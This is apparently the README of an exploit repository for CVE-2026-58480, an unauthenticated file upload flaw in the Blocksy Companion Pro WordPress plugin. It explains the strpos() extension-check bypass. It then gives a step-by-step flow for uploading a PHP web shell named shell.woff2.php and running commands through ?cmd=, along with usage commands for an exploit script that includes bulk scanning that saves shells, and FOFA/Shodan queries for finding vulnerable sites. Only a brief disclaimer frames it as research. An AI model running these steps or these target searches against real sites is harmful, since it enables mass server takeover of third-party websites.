CVE-2026-58480

CVE-2026-58480 — Blocksy Companion Pro Unauthenticated File Upload RCE

Advanced Reviews → save_attachments → Custom Fonts strpos() Bypass → shell.woff2.php

Overview

CVE-2026-58480 (also tracked as CVE-2026-15158) is a critical (CVSS 9.8) unauthenticated arbitrary file upload vulnerability in Blocksy Companion Pro < 2.1.47 — the premium addon for the Blocksy WordPress theme (300,000+ active installs).

The save_attachments AJAX handler in the Advanced Reviews feature (part of WooCommerce Extra) accepts file uploads without authentication. The Custom Fonts extension validates uploads via strpos() substring check for .woff2 / .ttf — not the actual file extension. Attackers bypass this with double-extension filenames like shell.woff2.php: .woff2 matches the substring check, .php executes on the server.

Affected Versions

Requirements: Premium license with WooCommerce Extra (Advanced Reviews) AND Custom Fonts extensions active. The free blocksy-companion plugin does not contain the vulnerable code paths.

Vulnerability Mechanism

Root Cause

The Custom Fonts extension registers a wp_check_filetype_and_ext filter that validates filenames using strpos() — a substring match — instead of checking the actual file extension via PATHINFO_EXTENSION:

// framework/premium/extensions/custom-fonts/extension.php#L137 (reconstructed)
add_filter('wp_check_filetype_and_ext', function($data, $file, $filename, $mimes, $real_mime) {
    if (strpos($filename, '.woff2') !== false || 
        strpos($filename, '.ttf') !== false) {
        $data['ext'] = 'woff2';
        $data['type'] = 'font/woff2';
    }
    return $data;
}, 10, 5);

The save_attachments function in Advanced Reviews calls standard WordPress upload handling, which invokes this filter. A file named shell.woff2.php passes because .woff2 exists as a substring — the filter does NOT verify it's the final extension.

Attack Flow

POST /wp-admin/admin-ajax.php
  action=blc_save_review_attachments
  blc-review-images[] = shell.woff2.php (multipart, PHP payload)
→ wp_check_filetype_and_ext filter: ".woff2" found → approved
→ File saved to wp-content/uploads/YYYY/MM/shell.woff2.php
→ GET /wp-content/uploads/YYYY/MM/shell.woff2.php?cmd=id
→ RCE as www-data

Source Code Locations

Installation

git clone https://github.com/shinthink/CVE-2026-58480.git
cd CVE-2026-58480
pip install requests

Usage

# Fingerprint target
python exploit.py -u https://target.com --check

# Full exploit
python exploit.py -u https://target.com

# Bulk scan
python exploit.py -f targets.txt -o shells.txt

FOFA / Shodan

FOFA:   body="/wp-content/themes/blocksy/"
Shodan: http.html:"blocksy-companion"

References

• NVD CVE-2026-58480
• OpenCVE CVE-2026-15158 — parameter blc-review-images[]
• FreshySites Technical Analysis — wp_check_filetype_and_ext filter
• Wordfence Advisory
• SecurityPointBreak
• VulnCheck Advisory
• WordPress Trac — Custom Fonts
• WordPress Trac — Advanced Reviews

Disclaimer

This exploit is provided for educational and authorized security research only. Do not use against systems without explicit permission from the owner.